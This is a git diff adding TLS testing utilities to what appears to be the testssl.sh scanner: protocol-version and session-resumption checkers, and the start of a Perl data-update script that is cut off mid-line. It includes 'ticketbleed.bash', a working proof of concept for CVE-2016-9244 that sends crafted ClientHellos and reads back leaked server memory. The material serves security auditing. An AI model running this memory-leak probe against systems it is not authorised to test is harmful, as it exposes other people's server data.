| head -6 + echo + fi + + display_sslv2serverhello "$SOCK_REPLY_FILE" + + # see https://secure.wand.net.nz/trac/libprotoident/wiki/SSL + lines=`cat "$SOCK_REPLY_FILE" 2>/dev/null | hexdump -C | wc -l` + + printf "Protocol: "; tput bold + if [[ "$lines" -gt 1 ]] ;then + tput setaf 1; printf "available with $(($V2_HELLO_CIPHERSPEC_LENGTH / 3 )) ciphers" + ret=0 + else + tput setaf 2; printf "NOT available" + ret=1 + fi + tput sgr0 + + + [[ "$DEBUG" -ge 2 ]] && printf " ($lines lines)" + echo + + + # closing fd: + exec 5<&- + exec 5>&- + + rm $SOCK_REPLY_FILE + +echo +exit 0 + +#test: dragon, simhq.com=gryphon1.gryphoninternet.com misim.gov.il, shop4-heating.co.uk, service.hamburgwasser.de +# 74.116.0.167 147.237.80.2 85.92.77.27 + +# vim:ts=5:sw=5:expandtab +# $Id: prototype.ssl2proto-check.bash,v 1.10 2015/09/25 19:02:24 dirkw Exp $ diff --git a/utils/prototype.tls-protocol-checker.bash b/utils/prototype.tls-protocol-checker.bash new file mode 100755 index 0000000..225dafa --- /dev/null +++ b/utils/prototype.tls-protocol-checker.bash @@ -0,0 +1,372 @@ +#!/usr/bin/env bash + +# bash socket implementation of checking the availability of TLS, (SSLv3 to TLS 1.2) +# Based on my bash-heartbleed (loosely based on my bash-heartbleed implementation) +# +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt + +# it helps to wireshark: +# /<path>/openssl s_client -state -ssl3 -connect AA.BB.YYY.XXX:443 -servername target +# /<path>/openssl s_client -state -tls1 -connect AA.BB.YYY.XXX:443 -servername target +# /<path>/openssl s_client -state -tls1_1 -connect AA.BB.YYY.XXX:443 -servername target +# /<path>/openssl s_client -state -tls1_2 -connect AA.BB.YYY.XXX:443 -servername target +# +# debug is easier for response: +# /<path>/openssl s_client -tls1 -debug -connect target:443 </dev/null + +# todo: NPN (/<path>/openssl s_client -host target -port 443 -nextprotoneg 'spdy/4a2,spdy/3,spdy/3.1,spdy/2,spdy/1,http/1.1' +# todo: TLS 1.3 (https://tools.ietf.org/html/draft-ietf-tls-tls13-03#section-7.4) +# todo: DTLS (https://tools.ietf.org/html/rfc4347#section-4.2.2) + +IFILE=./mapping-rfc.txt +NODE="" +SN_HEX="" +LEN_SN_HEX=0 +COL_WIDTH=32 +DEBUG=${DEBUG:-0} +USLEEP_REC=${USLEEP_REC:-0.2} +USLEEP_SND=${USLEEP_SND:-0.1} # 1 second wait until otherwise specified +MAX_WAITSOCK=2 +SOCK_REPLY_FILE="" +NW_STR="" +LEN_STR="" +DETECTED_TLS_VERSION="" + +# spdy, TLS 1.2, 133 cipher: +TLS12_CIPHER=" +cc, 14, cc, 13, cc, 15, c0, 30, c0, 2c, c0, 28, c0, 24, c0, 14, +c0, 0a, c0, 22, c0, 21, c0, 20, 00, a5, 00, a3, 00, a1, 00, 9f, +00, 6b, 00, 6a, 00, 69, 00, 68, 00, 39, 00, 38, 00, 37, 00, 36, +c0, 77, c0, 73, 00, c4, 00, c3, 00, c2, 00, c1, 00, 88, 00, 87, +00, 86, 00, 85, c0, 32, c0, 2e, c0, 2a, c0, 26, c0, 0f, c0, 05, +c0, 79, c0, 75, 00, 9d, 00, 3d, 00, 35, 00, c0, 00, 84, c0, 2f, +c0, 2b, c0, 27, c0, 23, c0, 13, c0, 09, c0, 1f, c0, 1e, c0, 1d, +00, a4, 00, a2, 00, a0, 00, 9e, 00, 67, 00, 40, 00, 3f, 00, 3e, +00, 33, 00, 32, 00, 31, 00, 30, c0, 76, c0, 72, 00, be, 00, bd, +00, bc, 00, bb, 00, 9a, 00, 99, 00, 98, 00, 97, 00, 45, 00, 44, +00, 43, 00, 42, c0, 31, c0, 2d, c0, 29, c0, 25, c0, 0e, c0, 04, +c0, 78, c0, 74, 00, 9c, 00, 3c, 00, 2f, 00, ba, 00, 96, 00, 41, +00, 07, c0, 11, c0, 07, 00, 66, c0, 0c, c0, 02, 00, 05, 00, 04, +c0, 12, c0, 08, c0, 1c, c0, 1b, c0, 1a, 00, 16, 00, 13, 00, 10, +00, 0d, c0, 0d, c0, 03, 00, 0a, 00, 63, 00, 15, 00, 12, 00, 0f, +00, 0c, 00, 62, 00, 09, 00, 65, 00, 64, 00, 14, 00, 11, 00, 0e, +00, 0b, 00, 08, 00, 06, 00, 03, 00, ff +" + +# 76 cipher fuer SSLv3, TLS 1, TLS 1.1: +TLS_CIPHER=" +c0, 14, c0, 0a, c0, 22, c0, 21, c0, 20, 00, 39, 00, 38, 00, 37, +00, 36, 00, 88, 00, 87, 00, 86, 00, 85, c0, 0f, c0, 05, 00, 35, +00, 84, c0, 13, c0, 09, c0, 1f, c0, 1e, c0, 1d, 00, 33, 00, 32, +00, 31, 00, 30, 00, 9a, 00, 99, 00, 98, 00, 97, 00, 45, 00, 44, +00, 43, 00, 42, c0, 0e, c0, 04, 00, 2f, 00, 96, 00, 41, 00, 07, +c0, 11, c0, 07, 00, 66, c0, 0c, c0, 02, 00, 05, 00, 04, c0, 12, +c0, 08, c0, 1c, c0, 1b, c0, 1a, 00, 16, 00, 13, 00, 10, 00, 0d, +c0, 0d, c0, 03, 00, 0a, 00, 63, 00, 15, 00, 12, 00, 0f, 00, 0c, +00, 62, 00, 09, 00, 65, 00, 64, 00, 14, 00, 11, 00, 0e, 00, 0b, +00, 08, 00, 06, 00, 03, 00, ff" + +#formatted example for SNI +#00 00 # extension server_name +#00 1a # length = the following +2 = server_name length + 5 +#00 18 # server_name list_length = server_name length +3 +#00 # server_name type (hostname) +#00 15 # server_name length +#66 66 66 66 66 66 2e 66 66 66 66 66 66 66 66 66 66 2e 66 66 66 target.mydomain1.tld # server_name target + + +help() { + echo "Syntax $0 <hostname> [[TLS lsb]]" + echo + echo "example: $0 google.com " + echo + exit 1 +} + + +parse_hn_port() { + PORT=443 # unless otherwise auto-determined, see below + NODE="$1" + + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + + # servername to network bytes: + LEN_SN_HEX=`echo ${#NODE}` + hexdump_format_str="$LEN_SN_HEX/1 \"%02x,\"" + SN_HEX=`printf $NODE | hexdump -v -e "${hexdump_format_str}" | sed 's/,$//'` +} + +# arg1: formatted string here in the code +code2network() { + NW_STR=`echo "$1" | sed -e 's/,/\\\x/g' | sed -e 's/# .*$//g' -e 's/ //g' -e '/^$/d' | tr -d '\n' | tr -d '\t'` +} + +len2twobytes() { + len_arg1=`echo ${#1}` + [[ $len_arg1 -le 2 ]] && LEN_STR=`printf "00, %02s \n" $1` + [[ $len_arg1 -eq 3 ]] && LEN_STR=`printf "%02s, %02s \n" ${1:0:1} ${1:1:2}` + [[ $len_arg1 -eq 4 ]] && LEN_STR=`printf "%02s, %02s \n" ${1:0:2} ${1:2:2}` +} + + +# arg1: TLS_VER_LSB +# arg2: CIPHER_SUITES string +# arg3: SERVERNAME +# ??? more extensions? +socksend_clienthello() { + + if [[ "$1" != "ff" ]]; then # internally we use 00 to indicate SSLv2 + len_sni=`echo ${#3}` + #tls_ver=printf "%02x\n" $1" + + code2network "$2" + cipher_suites="$NW_STR" # we don't have the leading \x here so string length is two byte less, see next + + # convert length's from dec to hex: + hex_len_sn_hex=`printf "%02x\n" $LEN_SN_HEX` + hex_len_sn_hex3=`printf "%02x\n" $((LEN_SN_HEX+3))` + hex_len_sn_hex5=`printf "%02x\n" $((LEN_SN_HEX+5))` + hex_len_extension=`printf "%02x\n" $((LEN_SN_HEX+9))` + + len_ciph_suites_byte=`echo ${#cipher_suites}` + let "len_ciph_suites_byte += 2" + + # we have additional 2 chars \x in each 2 byte string and 2 byte ciphers, so we need to divide by 4: + len_ciph_suites=`printf "%02x\n" $(($len_ciph_suites_byte / 4 ))` + len2twobytes "$len_ciph_suites" + len_ciph_suites_word="$LEN_STR" + [[ $DEBUG -ge 4 ]] && echo $len_ciph_suites_word + + len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x27 + 0x$hex_len_extension + 0x2))` + #len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x27))` + len_c_hello_word="$LEN_STR" + [[ $DEBUG -ge 4 ]] && echo $len_c_hello_word + + len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x2b + 0x$hex_len_extension + 0x2))` + #len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x2b))` + len_all_word="$LEN_STR" + [[ $DEBUG -ge 4 ]] && echo $len_all_word + + TLS_CLIENT_HELLO=" + # TLS header ( 5 bytes) + ,16, 03, $1 # TLS Version + ,$len_all_word # Length <--- + # Handshake header: + ,01 # Type (x01 for ClientHello) + ,00, $len_c_hello_word # Length ClientHello + ,03, $1 # TLS Version (again) + ,54, 51, 1e, 7a # Unix time since see www.moserware.com/2009/06/first-few-milliseconds-of-https.html + ,de, ad, be, ef # Random 28 bytes + ,31, 33, 07, 00, 00, 00, 00, 00 + ,cf, bd, 39, 04, cc, 16, 0a, 85 + ,03, 90, 9f, 77, 04, 33, d4, de + ,00 # Session ID length + ,$len_ciph_suites_word # Cipher suites length + # Cipher suites + ,$cipher_suites + ,01 # Compression methods length + ,00" # Compression method (x00 for NULL) + + EXTENSION_CONTAINING_SNI=" + ,00, $hex_len_extension # first the len of all (here: 1) extensions. We assume len(hostname) < FF - 9 + ,00, 00 # extension server_name + ,00, $hex_len_sn_hex5 # length SNI EXT + ,00, $hex_len_sn_hex3 # server_name list_length + ,00 # server_name type (hostname) + ,00, $hex_len_sn_hex # server_name length + ,$SN_HEX" # server_name target + + fi + + code2network "$TLS_CLIENT_HELLO$EXTENSION_CONTAINING_SNI" + #code2network "$TLS_CLIENT_HELLO" + data=`echo $NW_STR` + + [[ "$DEBUG" -ge 3 ]] && echo "\"$data\"" + printf -- "$data" >&5 2>/dev/null & + sleep $USLEEP_SND + echo +} + +sockread_serverhello() { + [[ "x$2" = "x" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2 + ret=0 + + SOCK_REPLY_FILE=`mktemp /tmp/ddreply.XXXXXX` || exit 7 + dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null & + pid=$! + + while true; do + if ! ps ax | grep -v grep | grep -q $pid; then + break # didn't reach maxsleep yet + kill $pid >&2 2>/dev/null + fi + sleep $USLEEP_REC + maxsleep=$(($maxsleep - 1)) + [[ $maxsleep -le 0 ]] && break + done + + if ps ax | grep -v grep | grep -q $pid; then + # time's up and dd is still alive --> timeout + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + ret=3 # means killed + fi + + return $ret +} + +# arg1: name of file with socket reply +display_tls_serverhello() { + # server hello: + # byte 0: 0x16=TLS, 0x15= TLS alert + # byte 1+2: 03, TLS version + # byte 3+4: length all + # byte 5: handshake type (2=hello) TLS alert: level (2=fatal), descr (0x28=handshake failure) + # byte 6+7+8: length server hello + # byte 9+10: 03, TLS version (00: SSLv3, 01: TLS 1.0, 02: TLS 1.1, 03: TLS 1.2) + # byte 11-14: TLS timestamp + # byte 15-42: random (28 bytes) + # byte 43 : session id length + # byte 44+45+sid-len: cipher suite! + # byte 46+sid-len: compression method: 00: none, 01: deflate + # byte 47+48+sid-len: extension length + + tls_hello_ascii=`hexdump -v -e '16/1 "%02X"' $1` + [[ "$DEBUG" -eq 5 ]] && echo $tls_hello_ascii # one line without any blanks + [[ -z $tls_hello_ascii ]] && return 0 # no server hello received + + # now scrape two bytes out of the reply per byte + tls_hello_initbyte="${tls_hello_ascii:0:2}" # normally this is x16 + tls_hello_protocol="${tls_hello_ascii:2:4}" + tls_len_all=`printf "%d\n" ${tls_hello_ascii:6:4}` + + if [[ $tls_hello_initbyte != "16" ]] ; then + [[ $DEBUG -ge 1 ]] && echo "tls_hello_initbyte: 0x$tls_hello_initbyte" + if [[ $DEBUG -ge 2 ]]; then + echo "tls_hello_protocol: 0x$tls_hello_protocol" + echo "tls_len_all: $tls_len_all" + echo "tls_err_level: ${tls_hello_ascii:10:2}" + echo "tls_err_descr: 0x${tls_hello_ascii:12:2}" + fi + return 1 + fi + + DETECTED_TLS_VERSION=$tls_hello_protocol + + tls_hello="${tls_hello_ascii:10:2}" # normally this is x02 + tls_hello_protocol2="${tls_hello_ascii:18:4}" + tls_hello_time="${tls_hello_ascii:22:8}" + tls_time=`printf "%d\n" 0x$tls_hello_time` + tls_time=`date --date="@$tls_time" "+%Y-%m-%d %r"` + tls_sid_len=`printf "%d\n" 0x${tls_hello_ascii:86:2}` + let sid_offset=88+$tls_sid_len*2 + tls_cipher_suite="${tls_hello_ascii:$sid_offset:4}" + let sid_offset=92+$tls_sid_len*2 + tls_compression_method="${tls_hello_ascii:$sid_offset:2}" + + if [[ $DEBUG -ge 2 ]]; then + + echo "tls_hello_initbyte: 0x$tls_hello_initbyte" + echo "tls_hello: 0x$tls_hello" + echo "tls_hello_protocol: 0x$tls_hello_protocol" + if [[ $DEBUG -ge 4 ]]; then + echo "tls_hello_protocol2: 0x$tls_hello_protocol2" + echo "tls_len_all: $tls_len_all" + echo "tls_sid_len: $tls_sid_len" + fi + echo "tls_hello_time: 0x$tls_hello_time ($tls_time)" + echo "tls_cipher_suite: 0x$tls_cipher_suite" + echo "tls_compression_method: 0x$tls_compression_method" + fi + + return 0 +} + + +#### main + +[[ -z "$1" ]] && help # hostname + +parse_hn_port "$1" +echo + +for tls_low_byte in "00" "01" "02" "03"; do + + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 + fi + + [[ "$DEBUG" -ge 1 ]] && printf "sending client hello...\n" + if [[ "$tls_low_byte" == "03" ]] ; then + socksend_clienthello $tls_low_byte "$TLS12_CIPHER" $SNIHEX + else + socksend_clienthello $tls_low_byte "$TLS_CIPHER" $SNIHEX + fi + + sockread_serverhello 32768 0 + [[ "$DEBUG" -ge 1 ]] && printf "reading server hello...\n" + if [[ "$DEBUG" -eq 3 ]]; then + #xxd -c$COL_WIDTH $SOCK_REPLY_FILE | head -3 + #hexdump -v -e '"%04_ax: " 32/1 "%02X " "\n"' $SOCK_REPLY_FILE | head -6 + hexdump -C $SOCK_REPLY_FILE | head -6 + echo + fi + + display_tls_serverhello "$SOCK_REPLY_FILE" + ret=$? + + # see https://secure.wand.net.nz/trac/libprotoident/wiki/SSL + lines=`cat "$SOCK_REPLY_FILE" 2>/dev/null | hexdump -v -e '"%04_ax: " 32/1 "%02X " "\n"' | wc -l` + + case $tls_low_byte in + 00) tls_str="SSLv3" ;; + 01) tls_str="TLS 1" ;; + 02) tls_str="TLS 1.1" ;; + 03) tls_str="TLS 1.2" ;; + esac + + printf "Protokoll "; tput bold; printf "$tls_low_byte = $tls_str"; tput sgr0; printf ": " + + if [[ $ret -eq 1 ]] || [[ $lines -eq 1 ]] ; then + tput setaf 3; echo "NOT available" + ret=1 + else + if [[ 03$tls_low_byte -eq $DETECTED_TLS_VERSION ]]; then + tput setaf 2; echo "available" + ret=0 + else + tput setaf 3; echo -n "NOT available " + [[ $DEBUG -ge 1 ]] && echo -n "send: 0x03$tls_low_byte, returned: 0x$DETECTED_TLS_VERSION" + echo + fi + fi + tput sgr0 + + [[ "$DEBUG" -ge 4 ]] && printf " (returned $lines lines)" && echo + echo + + # closing fd: + exec 5<&- + exec 5>&- + + rm $SOCK_REPLY_FILE + + echo "--------------------------------------------" + +done + + +echo +exit 0 + +# vim:ts=5:sw=5:expandtab +# $Id: prototype.tls-protocol-checker.bash,v 1.13 2015/01/12 22:28:35 dirkw Exp $ diff --git a/utils/resume.sh b/utils/resume.sh new file mode 100755 index 0000000..3253af9 --- /dev/null +++ b/utils/resume.sh @@ -0,0 +1,22 @@ +#!/usr/bin/env bash + +# simple check for session resumption 1) by SID, 2) by tickets +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt + + +echo +echo "####################### session ID ######################" +openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -no_ticket -sess_out /tmp/ssl_s </dev/null &>/dev/null + +echo "--------------------------------------------------------" +openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -no_ticket -sess_in /tmp/ssl_s </dev/null 2>/dev/null | grep -E "New|Reused|SSL handshake has read" +echo "--------------------------------------------------------" + +echo "####################### session ticket ######################" +openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -sess_out /tmp/ssl_s </dev/null &>/dev/null +echo "--------------------------------------------------------" +openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -sess_in /tmp/ssl_s </dev/null 2>/dev/null | grep -E "New|Reused|SSL handshake has read" + +echo + +# vim:ts=5:sw=5:expandtab diff --git a/utils/ticketbleed.bash b/utils/ticketbleed.bash new file mode 100755 index 0000000..399700a --- /dev/null +++ b/utils/ticketbleed.bash @@ -0,0 +1,352 @@ +#!/usr/bin/env bash + +# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/ +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/ +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +[[ -z "$1" ]] && echo "IP is missing" && exit 1 + +readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' + +OPENSSL=${OPENSSL:-$(type -p openssl)} +TIMEOUT=${TIMEOUT:-20} + +# insert some hexspeak here :-) +SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma + +NODE="$1" +PORT="${NODE#*:}" +PORT="${PORT-443}" # probably this doesn't make sense +NODE="${NODE%:*}" # strip port if supplied +TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 +MAXSLEEP=$TIMEOUT +SOCKREPLY="" +COL_WIDTH=32 +DEBUG=${DEBUG:-"false"} +HELLO_READBYTES=${HELLO_READBYTES:-65535} + +dec2hex() { printf "x%02x" "$1"; } +dec2hexB() { + a=$(printf "%04x" "$1") + printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}" +} + +LEN_SID=$(( ${#SID} / 4)) # the real length in bytes +XLEN_SID="$(dec2hex $LEN_SID)" + +red=$(tput setaf 1; tput bold) +green=$(tput bold; tput setaf 2) +lgreen=$(tput setaf 2) +brown=$(tput setaf 3) +blue=$(tput setaf 4) +magenta=$(tput setaf 5) +cyan=$(tput setaf 6) +grey=$(tput setaf 7) +yellow=$(tput setaf 3; tput bold) +normal=$(tput sgr0) + +send_clienthello() { + local -i len_ch=216 # len of clienthello, excluding TLS session ticket and SID (record layer) + local session_tckt_tls="$1" + local -i len_tckt_tls="${#1}" + local xlen_tckt_tls="" + + len_tckt_tls=$(( len_tckt_tls / 4)) + xlen_tckt_tls="$(dec2hex $len_tckt_tls)" + + local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))" + local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")" + local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))" + local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")" + + if $DEBUG; then + echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)" + echo "SID: $SID" + echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)" + echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)" + echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)" + echo "session_tckt_tls: $session_tckt_tls" + fi + + client_hello=" +# TLS header (5 bytes) + ,x16, # Content type (x16 for handshake) + x03, x01, # TLS Version + # Length Secure Socket Layer follow: + $xlen_handshake_ssl_layer, +# Handshake header + x01, # Type (x01 for ClientHello) + # Length of client hello follows: + x00, $xlen_handshake_record_layer, + x03, x$TLSV, # TLS Version +# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html + xee, xee, x5b, x90, x9d, x9b, x72, x0b, + xbc, x0c, xbc, x2b, x92, xa8, x48, x97, + xcf, xbd, x39, x04, xcc, x16, x0a, x85, + x03, x90, x9f, x77, x04, x33, xff, xff, + $XLEN_SID, # Session ID length + $SID + x00, x66, # Cipher suites length +# Cipher suites (51 suites) + xc0, x14, xc0, x0a, xc0, x22, xc0, x21, + x00, x39, x00, x38, x00, x88, x00, x87, + xc0, x0f, xc0, x05, x00, x35, x00, x84, + xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, + x00, x16, x00, x13, xc0, x0d, xc0, x03, + x00, x0a, xc0, x13, xc0, x09, xc0, x1f, + xc0, x1e, x00, x33, x00, x32, x00, x9a, + x00, x99, x00, x45, x00, x44, xc0, x0e, + xc0, x04, x00, x2f, x00, x96, x00, x41, + xc0, x11, xc0, x07, xc0, x0c, xc0, x02, + x00, x05, x00, x04, x00, x15, x00, x12, + x00, x09, x00, x14, x00, x11, x00, x08, + x00, x06, x00, x03, x00, xff, + x01, # Compression methods length + x00, # Compression method (x00 for NULL) + x01, x0b, # Extensions length +# Extension: ec_point_formats + x00, x0b, x00, x04, x03, x00, x01, x02, +# Extension: elliptic_curves + x00, x0a, x00, x34, x00, x32, x00, x0e, + x00, x0d, x00, x19, x00, x0b, x00, x0c, + x00, x18, x00, x09, x00, x0a, x00, x16, + x00, x17, x00, x08, x00, x06, x00, x07, + x00, x14, x00, x15, x00, x04, x00, x05, + x00, x12, x00, x13, x00, x01, x00, x02, + x00, x03, x00, x0f, x00, x10, x00, x11, +# Extension: SessionTicket TLS + x00, x23, +# length of SessionTicket TLS + x00, $xlen_tckt_tls, +# Session Ticket + $session_tckt_tls # here we have the comma already +# Extension: Heartbeat + x00, x0f, x00, x01, x01" + + msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') + socksend "$msg" $TLSV +} + + +parse_hn_port() { + # strip "https", supposed it was supplied additionally + grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")" + + # strip trailing urlpath + NODE=$(sed -e 's/\/.*$//' <<< "$NODE") + + # determine port, supposed it was supplied additionally + grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE") +} + +wait_kill(){ + pid=$1 + maxsleep=$2 + while true; do + if ! ps $pid >/dev/null ; then + return 0 # didn't reach maxsleep yet + fi + sleep 1 + maxsleep=$((maxsleep - 1)) + test $maxsleep -eq 0 && break + done # needs to be killed + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + return 3 # killed +} + + +socksend() { + local len + + data="$(echo -n $1)" + if "$DEBUG"; then + echo "\"$data\"" + len=$(( $(wc -c <<< "$data") / 4 )) + echo -n "length: $len / " + dec2hexB $len + echo + fi + echo -en "$data" >&5 +} + + +sockread_nonblocking() { + [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 + ret=0 + + SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" & + wait_kill $! $maxsleep + ret=$? + echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process + return $ret +} + +sockread() { + dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"' +} + +fixme(){ + tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 +} + + +fd_socket(){ + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "$(basename $0): unable to connect to $NODE:$PORT" + exit 2 + fi +} + +close_socket(){ + exec 5<&- + exec 5>&- + return 0 +} + +cleanup() { + close_socket + echo + echo + return 0 +} + + +get_sessticket() { + local sessticket_str + local output + + output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)" + if ! grep -qw CONNECTED <<< "$output"; then + return 1 + else + sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')" + sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')" + sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str" + return 0 + fi +} + +#### main + +parse_hn_port "$1" + +early_exit=true +declare -a memory sid_detected +nr_sid_detected=0 + + +# there are different "timeout". Check whether --preserve-status is supported +if type -p timeout &>/dev/null ; then + if timeout --help 2>/dev/null | grep -q 'preserve-status'; then + OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL" + else + OPENSSL="timeout $TIMEOUT $OPENSSL" + fi +else + echo " binary \"timeout\" not found. Continuing without it" + unset TIMEOUT +fi + + +echo +"$DEBUG" && ( echo ) +echo "##### 1) Connect to determine 1x session ticket TLS" +# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation +SESS_TICKET_TLS="$(get_sessticket)" +if [[ $? -ne 0 ]]; then + echo >&2 + echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2 + exit 0 +fi +[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0 + +trap "cleanup" QUIT EXIT +"$DEBUG" && ( echo; echo ) +echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID" + +# we do 3 client hellos, and see whether different memory is returned +for i in 1 2 3; do + fd_socket $PORT + + "$DEBUG" && echo "$i" + send_clienthello "$SESS_TICKET_TLS" + + "$DEBUG" && ( echo; echo ) + [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo + SOCKREPLY=$(sockread $HELLO_READBYTES) + + if "$DEBUG"; then + echo "=============================" + echo "$SOCKREPLY" + echo "=============================" + fi + + if [[ "${SOCKREPLY:0:2}" == "15" ]]; then + echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- " + echo "${green}OK, not vulnerable ${normal} (TLS alert)" + break + elif [[ -z "${SOCKREPLY:0:2}" ]]; then + echo "${green}OK, not vulnerable ${normal} (zero reply)" + break + elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then + # we need to look into this as some servers just respond as if nothing happened + early_exit=false + "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), " + if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then + echo -n " ServerHello $i -- " + else + echo -n " Message type: ${SOCKREPLY:10:6} -- " + fi + sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID") + sid_detected[i]="${SOCKREPLY:88:32}" + memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}" + if "$DEBUG"; then + echo + echo "TLS version, record layer: ${SOCKREPLY:18:4}" + #echo "Random bytes / timestamp: ${SOCKREPLY:22:64}" + echo "memory: ${memory[i]}" + echo "Session ID: ${sid_detected[i]}" + fi + if grep -q $sid_input <<< "${sid_detected[i]}"; then + #echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> " + echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g" + echo "${normal})" + else + echo -n "not expected server reply but likely not vulnerable" + fi + else + echo "TLS record ${SOCKREPLY:0:2} replied" + echo -n "Strange server reply, pls report" + break + fi +done +echo + +if ! "$early_exit"; then + # here we test the replies if a TLS server hello was received >1x + for i in 1 2 3 ; do + if grep -q $sid_input <<< "${sid_detected[i]}"; then + # was our faked TLS SID returned? + nr_sid_detected=$((nr_sid_detected + 1)) + fi + done + if [[ $nr_sid_detected -eq 3 ]]; then + if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then + echo "${red}VULNERABLE!${normal}, real memory returned" + else + echo "${green}not vulnerable ${normal} (same memory fragments returned)" + fi + else + echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know" + fi +fi + +exit 0 + +# vim:ts=5:sw=5:expandtab + diff --git a/utils/update_client_sim_data.pl b/utils/update_client_sim_data.pl new file mode 100755 index 0000000..61bf0d1 --- /dev/null +++ b/utils/update_client_sim_data.pl @@ -0,0 +1,506 @@ +#!/usr/bin/perl + +use strict; +use Data::Dumper; +use JSON; + +my @spec; +my %ciphers; + +my @spec; +my %ciphers; +my $ossl = "bin/openssl." . `uname -s` . "." . `uname -m`; +$ossl =~ s/\R//g; # remove LFs + +die "Unable to open $ossl" unless -f $ossl; +my $ossl = "$ossl" . " ciphers -V 'ALL:COMPLEMENTOFALL:\@STRENGTH'"; + +# we get all data from here +my $json = `curl 'https://api.dev.ssllabs.com/api/v3/getClients'`; + +foreach my $line ( split /\n/, `$ossl`) { + my @fields = split /\s+/, $line; + my $hex = ""; + foreach my $byte ( split /,/, $fields[1] ) { + $byte = lc $byte; + $byte =~ s/^0x//; + $hex .= $byte; + } + $hex =~ s/^0+//; + $ciphers{hex "0x$hex"} = $fields[3]; +} + +my $namelength = 30; +# Get the data +my $ssllabs = decode_json($json); + +my %sims; +foreach my $client ( @$ssllabs ) { + # Shorts + my $has_matched = 1; + my $shortname = "$client->{name}_$client->{version}"; + $shortname =~ s/ /_/g; + $shortname =~ s/\.//g; + $shortname .= "_$client->{platform}" if exists $client->{platform}; + $shortname =~ s/[ \.]//g; + $shortname 